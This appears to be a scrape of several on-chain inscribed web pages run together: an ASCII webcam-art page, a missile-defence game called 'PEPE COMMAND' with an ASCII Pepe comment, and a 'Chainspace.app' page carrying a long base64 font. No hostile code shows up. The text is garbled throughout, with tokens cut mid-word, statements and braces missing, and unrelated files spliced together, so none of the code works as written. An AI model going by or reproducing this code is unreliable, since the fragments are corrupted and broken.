p1uqNZqvd6fb6g+FoPJnO5ovlar3BhDIu5FZ5fhBG2lgXJ2lG7n6nkbpevmPR/gUth2M4cZyuxjNq4wWJx5mukY6jbpxvv3TP0LsuuQvtya0KHvvlUMAPEd1QytsD07TNb2poSsz1r4rTOEu1sUjLqEKPPTt06NypNxDlGZcEM0Hyd+mY5j9Ly7+ZDx3G2TDQrkOnLn1161Ebp6mI+4bm7ASI9AkZQItWNbGodl3qLis+hDR20EwgmFpz1TSbqWjxuMHECNqUmwMmK5xAq7EC2mUczzPhhFspTFin8z/W3zGT8eI1yMd1WunQv5e9x123IAyahxOHLnAYELthn/SmYMpidAR9z7VYNpwnFjI5NJWy1XCDIZIWxVHdHDgmxyNDkyYrKjYXlcuMus2AwGMW9ovhVwZHs70lAAA=) format('woff');
  font-weight: normal;
  font-style: normal;
    text-align: center;
    overflow: hidden;
    background: #eaeaea;
    align-items: center;
    justify-content: center;
  body.mobile #text-video {
    font-family: 'Noto Mathcastles Remix', monospace;
    pointer-events: none;
    justify-content: center;
    align-items: center;
    transform: scaleX(-1);
    -webkit-transform: scaleXM
    background: #222222;
    font-size: 17px;
    justify-content: center;
    transform: scaleX(-1);
    -webkit-transform: scaleX(-1);
    cursor: pointer;
    justify-content: center;
    pointer-events: none;
    background: #fff;
    border: 1px solid #111;
    padding: 3px 10px;
    font-family: monospace;
    cursor: pointer;
    outline: inherit;
    border-radius: 3px;
    flex-direction: column;
    align-items: center;
    justify-content: center;
    font-family: monospace;
    text-align: center;
    margin-top: 20px;
    margin-bottom: 4px;
    background: #222;
    border-radius: 20px;
    box-shadow: 0 0 16px 0 rgba(0, 0, 0, 0.5);
    margin-bottom: 0;
    font-size: 13px;
  <div id="wrapper">
      <video id="video">Portal is closed.</video>
      <canvas id="canvas-video"></canvas>
    <div id="frame">
      <div id="text-video"></div>
      <div id="header">
 You are the art in Chainspace.app
    <button id="stop">Wave</button>
    function run() {
      function isMobM
        return (typeof window.orientation !== "undefined") || (navigator.userAgent.indexOf('IEMobile') !== -1);
      const video = document.getElementById('video')
      video.setAttribute('autoplay', '');
      video.setAttribute('muted', '');
      video.setAttribute('playsinline', '')
      const textVideo = document.getElementById('text-video')
      const canvas = document.getElementById('canvas-video')
      const ctx = canvas.getContext('2d', { willReadFrequently: true });
      let cyclerEnabled = false;
      let cycler = 0;
      let isMobile = isMobileDevice();
      const chars = [..."
      const colors = ["#ffaa00", "#ffaa00", "#ffaa00", "#ffaa00", "#ffaa00", "#ffaa00", "#ffaa00", "#ffaa00", "#ffaa00", "#222222", ];
      let running = true;
      function setCanvasSize() {
        w = Math.min(window.innerWidth, 450);
        h = Math.min(window.innerHeight, isMobileDevice() ? 600 : 450);
       height = Math.floor(h / 10);
        width = Math.floor(w / 6.9);
      let resizeTimeout;
      window.onresize = function () {
        clearTimeout(resizeTimeout);
        resizeTimeout = setTimeout(setCanvasSize, 100);
      const init = () => {
        setCanvasSize();
        document.body.classList.add(isMobile ? 'mobile' : null)
        navigator.mediaDevices.getUserMedia({ video: true, audio: false })
          .then(function (stream) {
            video.srcObject = stream;
          .catch(function (err) {
            running = false;
      const render = (ctx) => {
        if (width && height) {
          canvas.width = width;
          canvas.height = height;
          ctx.drawImage(video, 0, 0, width, height);
      const getPixelsGreyScale = (ctx) => {
        const imageData = ctx.getImageData(0, 0, canvas.width, canvas.height);
        const data = imageData.data;
        const res = M
new Array(height).fill(0).map(() => []);
        for (let i = 0, c = 0; i < data.length; i += 4) {
          const avg = (data[i] + data[i + 1] + data[i + 2]) / 3;
          let curr = res[row]
          curr.push(avg)
          if (c < width) {
          if (c === width) {
            row += 1
        if (isMobile) {
          return res.map(row => row.slice(row.length / 4, row.length - row.length / 4));
    const getCharByScale = (scale) => {
        const val = Math.floor((scale + cycler) / 255 * (chars.length));
        return chars[val % chars.length];
      const getColorByScale = (scale) => {
        const val = Math.floor((scale + cycler) / 255 * (colors.length));
        return colors[val % colors.length];
      const renderText = (node, textDarkScale) => {
        let gap = isMobileDevice() ? 15 : 10;
        const gridElem = document.createElement('div');
        gridElem.className = 'M
        gridElem.style.gridTemplateColumns = `repeat(${textDarkScale[0].length}, ${gap}px)`;
        gridElem.style.gridTemplateRows = `repeat(${textDarkScale.length}, ${gap}px)`;
        for (let i = 0; i < textDarkScale.length; i++) {
          for (let k = 0; k < textDarkScale[i].length; k++) {
            const textElem = document.createElement('p');
            textElem.style.color = getColorByScale(textDarkScale[i][k]);
            textElem.innerHTML = getCharByScale(textDarkScale[i][k]);
gridElem.appendChild(textElem);
        node.textContent = "";
        node.appendChild(gridElem);
      const frame = () => requestAnimationFrame(() => {
        const chars = getPixelsGreyScale(ctx)
        renderText(textVideo, chars)
        if (running) {
        if (cyclerEnabled) {
      document.getElementById('stop').addEventListener('click', (e) => {
   running = !running
        if (running) {
      document.getElementById('text-video').onclick = () => {
        cyclerEnabled = !cyclerEnabled;
    window.addEventListener('DOMContentLoaded', () => {
text/html;charset=utf-8
       <!--- TEWZ1.ETH   https://www.www.tewz1.com      https://opensea.io/tewz    DUST 1AHV2TSdVsydxx2eSMyxKg6HfAgXAKNafW
				      https://www.twitter.com/tewz1  https://tewz.cent.co/           TEWZ1.ETH      <pre>
...',,,,,'..
.';:ccllloolollcc;,,..          .',;,;;;;;;,''..
.';cllllllllllllllllloolc:,.   .';;cloollllllllllcc;.
.,colllllllllllllllllllllllllc;.'colllllllllllllllllllM
l,.
.;llllllllllllllcccc:::::cclollloc,:llllllllllllllllllllll,
'collllllllcc:;:c:;:;;;,''''''',;co:,colllllllllolooooloooo:.
.,llllllll:::::cccllloollllllllc;,,,;;',:;;;;;;;;:;;;;::;;;;;,.
.;llllllllc:cclllllllllllllllllllllooc;..,::::::ccccccccccc:::::;,''.
.;olllllllllollllllllllllollcccccc::::;:;,.,cllllllllloolllllllllloool:'.
.;lllllllllllllllllllllc:;:c:;,;;;;;,,,,,;:;,;;;cllc:;,,,;:::::;:::::::;;,.
lolc;;;;,',;:;;;;;:;;;;;:ccc:;,',;;'....',,;::::;,;;,',,''''.
.',,:llllllllllllllc;,,,;;,;;;::clloooloooloolllllc;'',,;;::ccccclolllllcccc::;::'.
.;cl:;clllllllllloolc;''',;;;clllllllllllolllllc:lllclc..coollc::;,;;,''''',ldddol:,'.
.;lllc;:lllllllllll;;:::;;;cloolllcccccll:,,''',;lxKNNNNN0c,:clcllloxd,       .;xNWNKkd;.
.clllo:':ollllllllol;,,'',;:c:;:clodxkOd,..        .:OWMMMXod0XNWMMMWk.   PEPE    cXMMMM0;
'clllllc:clllllllllllllc:;;,',oO0XNWMMWk.   GAME      .xWMWdlXMMMMMMMO.  COMMAND   dMMNOc.
llllllllllllllllllllllllllc;:oxOKWMMO.     OVER      .oxl,;dkO0XWMMd              ;ddc.
'cllllllllllllllllllllllllllll:;;,,,:lodc.            ..',;;;,',,,,:lddc......''''',,,;''..
.clllllllllllllllllllllllllllllllc:;,;;;;;,,,,,,,,',;;;:::;;;;cc;;;;,,,',::;;;;:c::;;,.
.:llllllllllllllllllllllllllllllllllllccc::;::;:;;:;;;:;;:cccllllooolcc::::::cccclllc:'.
.,llllllllllllllllllllllllllllllllllllllllllloolloolc:;;::clllllllc::clolllllllcc:;;'.
'collllllllllllllllllllllllllllllllllllllllM
lllcc:;;;;;ccllllllllllc:;;,..,;::::;;;,'.
.:ollllllllllllllllllllllllllllllllllllllllll:;::;;clolllllllllllllllllc;,,:lllllllol;.
'collllllllllllllllllllllllllllllllllllllllllcclollllllllllllllllllllllllllllllllllllll,.
.;lllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllll;.
.colllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllll;.
..:ollllllllllllllllllllllllllllllcccccccclloolllllllllllllllllllllM
llllllllllllllllllllllllc,.
.,clllllllllllllllllllllllllllc;,;,,,,,,,,;;;;;:::cccclllllollllllllllllllllllllllllllllolc;'..
.;cllllllllllllllllllllllllll;'';:cccccccccc:;;;,,,,,,;,,,;;::::ccllllollollololllc::;;;;,;;;;'.
.':lllllllllllllllllllllllll,':ccc;',;,'''',;;;;::ccccc:;;;;;,'',,,;;,,,;,;;;,;;;,,,;;;:ccc:,..
.:ollllllllllllllllllllllo:.,cccc:;:c:;;;;;;,'',,;;,'',;;;;;::ccccc:;;;;;;;;;:ccccccc:;;,'.
':olllllllllllllllllllccll;',;:c:;;;;;:ccccccccccc:;;;;;,,,,,;;;,,'''',,,,,,,,,'',,M
'colllllllllllllllllo;.:ooc;;;:;;,,;;;;;,,,;;;;::cccccccccccccc::;;;;:::::::::;;::cccc:'
.clllllllllllllllllll;',:cllllooloololllc::;;;:::;,,,,,;;;;;;;;;;;;;;;;;;;;;;;::;;;,'.
.,:cllllllllllllllllll;,'':lllllllllllllllloooolllccccc:;::;,;;;;;;;;;;,;;;,'.....
..,;:clolllllllllllllllclllllllllllllllllllllllllllllllllloolloolollool:'.
.',;:cclllollllllllllllllllllllllllllllllllllllllllllllllllolc:;'.
...';,;cccccllllllllllllllllllllM
llllllllllllllllolcc:;,..
....'',;;;::::::ccccccccccccccccc:::;,,'..
              ...............
              /pre>--->
  <title>PEPE COMMAND</title>
  <meta charset="UTF-8">
    background: black;
    align-items: center;
    justify-content: center;
    cursor: crosshair;
    border: 1px solid green;
as width="400" height="560" id="game"></canvas>
const canvas = document.getElementById('game');
const context = canvas.getContext('2d');
const groundY = 500;
const cityWidth = 45;
const cityHeight = 25;
const cityY = groundY - cityHeight;
const siloY = groundY - 30;
const missileSize = 4;
const missileSpeed = 1;
const counterMissileSpeed = 15;
let counterMissiles = [];
let explosions = [];
const levels = [ [4, 4] ];
let currInterval = 0;
  { x: 140, y: cityY, alive: true },
  { x: 220, y: cityY, alive: true },
  { x: 300, y: cityY, alive: true },
  { x: 500, y: cityY, alive: true },
  { x: 580, y: cityY, alive: true },
  { x: 660, y: cityY, alive: true }
const siloPos = [ 55, canvas.width / 2, 745 ];
  { x: siloPos[0], y: siloY, missiles: 10, alive: true },
  { x: siloPos[1], y: siloY, missiles: 10, alive: true },
  { x: siloPos[2], y: siloY, missiles: 10, alive: true }
const missileSpawns = cities
  .concat([{ x: 0, y: 0 }, { x: canvas.width, y: 0 }])
  .map(pos => ({ x: pos.x, y: 0 }));
function randInt(min, max) {
  return Math.floor(Math.random() * (max - min + 1)) + min;
function angleBetweenPoints(source, target) {
  return Math.atan2(target.y - source.y, target.x - source.x) + Math.PI / 2;
function distance(source, target) {
  return Math.hypot(source.x - target.x, source.y - target.y);
function spawnMissile() {
  const targets = cities.concat(silos);
  const randSpawn = randInt(0, missileSM
  const randTarget = randInt(0, targets.length - 1);
  const start = missileSpawns[randSpawn];
  const target = targets[randTarget];
  const angle = angleBetweenPoints(start, target);
    pos: { x: start.x, y: start.y },
    dx: missileSpeed * Math.sin(angle),
    dy: missileSpeed * -Math.cos(angle)
let lastTime = -2000;
function loop(time) {
  requestAnimationFrame(loop);
  context.clearRect(0,0,canvas.width,canvas.height);
 if (time - lastTime > 3000 && currInterval < levels[currLevel].length) {
    for (let i = 0; i < levels[currLevel][currInterval]; i++) {
      spawnMissile();
    lastTime = time;
  context.fillStyle = 'red';
  cities.forEach(city => {
    context.fillRect(city.x - cityWidth / 2, city.y, cityWidth, cityHeight);
  context.fillStyle = 'green';
  context.beginPath();
  context.moveTo(0, canvas.height);
  context.lineTo(0, groundY);
  siloPos.forEach(x => {
    context.lineTo(xM
    context.lineTo(x - 20, siloY);
    context.lineTo(x + 20, siloY);
    context.lineTo(x + 40, groundY);
  context.lineTo(canvas.width, groundY);
  context.lineTo(canvas.width, canvas.height);
  context.fillStyle = 'black';
  silos.forEach(silo => {
    let missilesPerRow = 1;
    let y = silo.y + 5;
    for (let i = 0; i < silo.missiles; i++) {
      context.fillRect(x, y, 4, 10);
      if (++count === missilesPerM
        x = silo.x - 6 * count;
        missilesPerRow++;
  context.strokeStyle = 'red';
  context.lineWidth = 2;
  context.fillStyle = 'white';
  if (Math.round(time / 2) % 2 === 0) {
    context.fillStyle = 'black';
  missiles.forEach(missile => {
    missile.pos.x += missile.dx;
    missile.pos.y += missile.dy;
    explosions.forEach(explosion => {
      const dist = distance(explosion, missile.pos);
      if (dist < missileSize + explosion.siM
        missile.alive = false;
    const dist = distance(missile.pos, missile.target);
    if (dist < missileSpeed) {
      missile.alive = false;
      missile.target.alive = false;
    if (missile.alive) {
      context.beginPath();
      context.moveTo(missile.start.x, missile.start.y);
      context.lineTo(missile.pos.x, missile.pos.y);
      context.stroke();
      context.fillRect(missile.pos.x - missileSize / 2, missile.pos.y - missileSize / 2, missileSize, missileSize);
      explosions.push({
        x: missile.pos.x,
        y: missile.pos.y,
  context.strokeStyle = 'red';
  context.fillStyle = 'white';
  counterMissiles.forEach(missile => {
    missile.pos.x += missile.dx;
    missile.pos.y += missile.dy;
    const dist = distance(missile.pos, missile.target);
    if (dist < counterMissileSpeed) {
      missile.alive = false;
      explosions.push({
        x: missile.pos.x,
      context.beginPath();
      context.moveTo(missile.start.x, missile.start.y);
      context.lineTo(missile.pos.x, missile.pos.y);
      context.stroke();
      context.fillRect(missile.pos.x - 2, missile.pos.y - 2, 4, 4);
  explosions.forEach(explosion => {
    explosion.size += 0.35 * explosion.dir;
    if (explosion.size > 30) {
      explosion.dir = -1;
    if (explosion.size <= 0) {
      context.fillStyle = 'white';
      if (Math.round(time / 3) % 2 === 0) {
        context.fillStyle = 'white';
      context.beginPath();
      context.arc(explosion.x, explosion.y, explosion.size, 0, 2 * Math.PI);
      context.fill();
  missiles = missiles.filter(missile => missile.alive);
  counterMissiles = counterMissiles.filter(missile => missile.alive);
  explosions = explosions.filter(explosion => explosion.alive);
  cities = cities.filter(city =M
  silos = silos.filter(silo => silo.alive);
canvas.addEventListener('click', e => {
  const x = e.clientX - e.target.offsetLeft;
  const y = e.clientY - e.target.offsetTop;
  let launchSilo = null;
  let siloDistance = Infinity;
  silos.forEach(silo => {
    const dist = distance({ x, y }, silo);
    if (dist < siloDistance && silo.missiles) {
      siloDistance = dist;
      launchSilo = silo;
    const start = { x: launchSilo.x, y: launchSilo.y };
    const angle = angleBetweenPoints(start, target);
    launchSilo.missiles--;
    counterMissiles.push({
      pos: { x: launchSilo.x, y: launchSilo. y},
      dx: counterMissileSpeed * Math.sin(angle),
      dy: counterMissileSpeed * -Math.cos(angle),
requestAnimationFrame(loop);
text/html;charset=utf-8
a hyperportal inscribed on-chain
enter at your own risk
Conjured by el_ranye x @timshelxyz
  * Mathcastles Studios (0x113d & xaltgeist)
  * Aleksandr Kubarskii
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width,user-scalable=no,initial-scale=1,maximum-scale=1,minimum-scale=1">
  <meta http-equiv="X-UA-Compatible" content="ie=edge">
  <title>CHAINSPACE.app</title>
  font-family: 'Noto Mathcastles Remix';
  src: url(data:application/font-woff2;charset=utf-8;base64,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
